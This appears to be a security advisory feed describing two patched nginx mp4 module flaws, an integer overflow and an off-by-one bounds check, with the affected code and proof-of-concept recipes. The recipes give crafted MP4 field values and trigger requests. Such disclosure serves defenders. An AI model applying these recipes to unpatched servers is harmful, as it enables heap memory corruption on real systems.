🔥 HIGH VERIFIED Integer Overflow leading to Out-of-Bounds Read/Write

Mar 24, 2026, 02:44 PM — nginx/nginx

Commit: 3568812cf98dfd7661cd7516ecf9b398c134ab3c

Author: Roman Arutyunyan

On 32-bit platforms, multiplying a uint32_t `entries` value by the size of a struct (also size_t/32-bit) could overflow before being compared to the uint64_t `atom_data_size`. This allowed an attacker to craft a malicious MP4 file with a large entries count that, after overflow, appeared to pass the size validation check, causing nginx to process entries beyond the allocated buffer boundaries with out-of-bounds reads and writes. The fix casts `entries` to uint64_t before multiplication to prevent the overflow.

🔍 View Affected Code & PoC

Affected Code

if (ngx_mp4_atom_data_size(ngx_mp4_stts_atom_t)
        + entries * sizeof(ngx_mp4_stts_entry_t) > atom_data_size)

Proof of Concept

Craft a malicious MP4 file where an stts atom has entries=0x20000000 (536870912) and atom_data_size=0x100 (small). On a 32-bit platform: entries * sizeof(ngx_mp4_stts_entry_t) = 0x20000000 * 8 = 0x100000000 which overflows to 0x00000000. Adding ngx_mp4_atom_data_size (e.g., 12) gives 12, which is less than atom_data_size=0x100, so validation passes. Nginx then processes 536 million non-existent entries beyond the allocated buffer, causing heap out-of-bounds access. Serve this file via nginx's mp4 module: GET /malicious.mp4?start=0

🔥 HIGH VERIFIED Buffer Overread/Overwrite

Mar 24, 2026, 02:12 PM — nginx/nginx

Commit: 7725c372c2fe11ff908b1d6138be219ad694c42f

Author: Roman Arutyunyan

The nginx mp4 module had off-by-one errors in bounds checking for stco and co64 atoms. When `trak-&gt;start_chunk` equaled `trak-&gt;chunks` (i.e., pointing exactly past the end of the chunks array), the old check `trak-&gt;start_chunk &gt; trak-&gt;chunks` would pass, allowing out-of-bounds memory access. Similarly, empty stsz sample arrays could be processed leading to buffer overread/overwrite. The patch changes `&gt;` to `&gt;=` to properly reject these boundary cases.

🔍 View Affected Code & PoC

Affected Code

if (trak->start_chunk > trak->chunks) {
    ngx_log_error(NGX_LOG_ERR, mp4->file.log, 0,
                  "start time is out mp4 stco chunks in \"%s\"",
                  mp4->file.name.data);
    return NGX_ERROR;
}

Proof of Concept

Craft an MP4 file where the stco/co64 atom contains exactly N chunk entries, but the computed start_chunk equals N (pointing one past the end). With the old check (start_chunk > chunks), when start_chunk == chunks the check passes and subsequent code reads/writes memory at chunks[N], one element past the allocated buffer. A crafted MP4 with a seek start time that maps to start_chunk == chunks (e.g., start time after all samples) triggers: GET /video.mp4?start=<time_after_last_sample> - causing out-of-bounds memory read/write in the chunk offset update loop.